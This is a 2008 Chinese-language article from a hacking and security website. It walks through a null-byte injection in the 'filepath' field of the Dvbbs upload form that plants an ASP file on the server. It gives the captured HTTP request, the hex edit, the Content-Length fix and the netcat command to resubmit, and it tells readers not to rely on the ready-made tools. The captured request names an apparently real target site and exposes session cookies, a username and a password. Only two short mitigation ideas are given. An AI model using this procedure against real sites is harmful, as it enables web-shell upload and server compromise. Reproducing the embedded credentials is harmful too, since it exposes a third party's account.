您现在的位置: 捷凌网安 >> 文章中心 >> 黑客攻防 >> 正文
PHP与ASP脚本程序上传漏洞探究与防御

作者:佚名 责任编辑:左决 点击数: 更新时间:2008-2-16 2:30:35

1:漏洞利用的原理只是针对form格式上传的asp和php脚本*** 
nc(netcat) 
   用于提交数据包 
   dos界面下运行: 
   nc -vv www.***.com 80<1.txt 
   -vv: 回显 
   80:  www端口 
   1.txt: 就是你要发送的数据包 
  (更多使用方法请查看本区的帖子) 
wse(wsockexpert) 
   对本机端口的监视,抓取ie提交的数据包 
2:漏洞原理 
下面例子假设的前提 
www主机:  www.***.com; 
bbs路径 :  /bbs/ 
漏洞源于对动网上传文件的研究,建议有一定编程经验的 
看看dvbbs的upfile.asp文件,没有必要全部看懂 
upfile是通过生成一个form表上传,如下 
<form name="form" method="post" action="upfile.asp" ...> 
<input type="hidden" name="filepath" value="uploadface"> 
<input type="hidden" name="act" value="upload"> 
<input type="file" name="file1"> 
<input type="hidden" name="fname"> 
<input type="submit" name="submIT" value="上传" ...></form> 
用到的变量: 
filepath 默认值uploadface 属性hiden 
act      默认值upload     属性hiden 
file1    就是你要传的那个文件 
关键是 filepath 这个变量! 
默认情况下我们的文件上传到www.***.com/bbs/uploadface/ 
文件是用你的上传时间命名的,就是upfile里的这一句 
filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext 
-------------------------------------- 
我们知道计算机里面的数据是一""为标致的用过c语言的都知道 
char data[]="bbs" 
这个data数组长度是4: b b s 
如果我们构造filepath如下,会怎么样呢? 
filepath="/newmm.asp" 
我们在2004.09.24.08.24传的文件就会发生变化 
没有改时: 
_blank>http://www.***.com/bbs/uploadface/200409240824.jpg 
用我们构造的filepath时: 
_blank>http://www.***.com/newmm.asp/200409240824.jpg 
这样当服务器接收filepath数据时,检测到newmm.asp后面的 
就理解为filepath的数据就结束了 
这样我们上传的文件,比如c:.asp 
就保存成: _blank>http://www.***.com/newmm.asp 
3:后期补充 
很多网站做了相应的处理,但是对于filepath的过滤和处理都不行 
有很多网站只是加了n个hiden属性的变量对付upfile.exe就是那个 
上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。 
而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具 
自己改wse抓到的包里的filepath变量,然后在用nc提交。。。 
就算他加n个hiden变量也于事无补。 
当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结 
就是我们的新理论诞生的时候! 

4:详细实例: 
--------------------- 
一、wse抓包结果(存到1.txt里): 
post /bbs/upphoto/upfile.asp http/1.1 
accept: image/gif, image/x-xbITmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* 
referer: _blank>http://www.xin126.com/bbs/upphoto/upload.asp 
accept-language: zh-cn 
content-type: multipart/form-data; boundary=-----------7d423a138d0278 
accept-encoding: gzip, deflate 
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; .net clr 1.1.4322) 
host: _blank>www.xin126.com 
content-length: 1969 
connection: keep-alive 
cache-control: no-cache 
cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf; iscome=1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37; username=szjwwwww; pass=5211314; dl=0; userid=62; ltstyle=0; logintry=1; userpass=eb03f6c72908fd84 

-----------------------------7d423a138d0278 
content-disposITion: form-data; name="filepath" 

../medias/myphoto/ 
-----------------------------7d423a138d0278 
... ... 

上传 
---------------7d423a138d0278----------------- 
二、ultraedIT打开1.txt改数据: 
...... 
-----------------------------7d423a138d0278 
content-disposITion: form-data; name="filepath" 
/newmm.asp█                 <===这个黑色代表一个空格是 0x20,改成0x00就可以了 
...... 
---------------------------- 
三、重新计算cookies长度,然后nc提交 

nc -vv _blank>www.xin126.com 80 <1.txt 

ultraedIT是一个16位编辑器网上可以下载得到 
我们主要用来写那个结束标致: ====>16位表示:0x00或者00h 
其实你改的时候就直接再filepath的结尾处加个00就ok了 

计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了 
...... 
host: _blank>www.xin126.com 
content-length: 1969  <======就是这个 
connection: keep-alive 
cache-control: no-cache 
...... 
计算会吧?一个字母、数字就是1 

对于上传漏洞提出的解决思路:(仅供参考) 

1、一般的上传是把上传路径作为一个变量来处理 
===>我们的对策就是把filepath变成常量。。。 
这个方法是目前最有效的(我认为的) 

2、加强对于的处理,原来我们是读到这里就结束 
我们继续读直道下一个变量开始的地方,处理就ok了 

附:NC Usage: 
监听外部主机 
        nc [-options] hostname port[s] [ports] ... 
监听本地主机 
        nc -l -p port [options] [hostname] [port] 
options: 
        -d              detach from console, stealth mode 
        -e prog         inbound program to exec [dangerous!!] 
        -g gateway      source-routing hop point[s], up to 8 
        -g num          source-routing pointer: 4, 8, 12, ... 
        -h              this cruft 
        -i secs         delay interval for lines sent, ports scanned 
        -l              listen mode, for inbound connects 
        -l              listen harder, re-listen on socket close 
        -n              numeric-only ip addresses, no dns 
        -o file         hex dump of traffic 
        -p port         local port number 
        -r              randomize local and remote ports 
        -s addr         local source address 
        -t              answer telnet negotiation 
        -u              udp mode 
        -v              verbose [use twice to be more verbose] 
        -w secs         timeout for connects and final net reads 
        -z              zero-i/o mode [used for scanning] 
port numbers can be individual or ranges: m-n [inclusive] 
  • 上一篇文章:

  • 下一篇文章:
  •  
    最进更新
    普通文章瑞星公司06月04日发布 每日计06-04
    普通文章陕西省地震局网站两次遭到"黑06-04
    普通文章谨防"Flash蛀虫"病毒 已感染06-04
    普通文章安全预警:“肉鸡猎人”抓肉06-04
    普通文章灰鸽子伪装成MSN、QQ等常用图06-04
    普通文章微软:Safari浏览器存在安全06-04
    普通文章中国黑客被疑导致美国2003年06-04
    普通文章微软建议用户暂停用苹果Safa06-04
    普通文章台北世贸中心官网被挂马06-04
    普通文章电脑身份验证无处不在 让黑客06-04
     
    推荐文章
    推荐文章触目惊心 专家解读黑色产业链06-04
    推荐文章网络黑色产业链日渐成型 奥运06-04
    推荐文章保护DNS服务器十大技巧06-04
    推荐文章Vista在非常规状态下数据备份06-04
    推荐文章Linux IPv6环境下DNS服务器配05-01
    推荐文章信息安全:阻止SSH口令尝试工05-01
    推荐文章解决网内终端无法通信故障05-01
    推荐文章熟透各种特殊IP地址 将IP藏一05-01
    推荐文章IE用户减少,黑客盯上Safari 05-01
    推荐文章我国网络安全形势非常严峻 应04-30
     
    热点文章 
    普通文章灰鸽子伪装成MSN、QQ等常用图06-04
    普通文章中国黑客被疑导致美国2003年06-04
    普通文章电脑身份验证无处不在 让黑客06-04
    推荐文章触目惊心 专家解读黑色产业链06-04
    普通文章Windows系统用户摆脱黑客攻击06-04
    普通文章病毒导致输入法无法切换的处06-04
    普通文章Informix注入整理05-23
    普通文章Cookies的注入方法和原理05-23
    普通文章SQL注射修改难猜解的MD505-23
    普通文章黑客眼中的OpenSSL:强大的密05-05

    | 设为首页 | 加入收藏 | 联系站长 | 广告服务 | 友情链接 | 版权申明 | 网站地图 |

    在线交流 捷凌网安主群:51649627
    Copyright 2007-2008 © 捷凌网安. All rights reserved.
    备案序号:蜀ICP备08001812号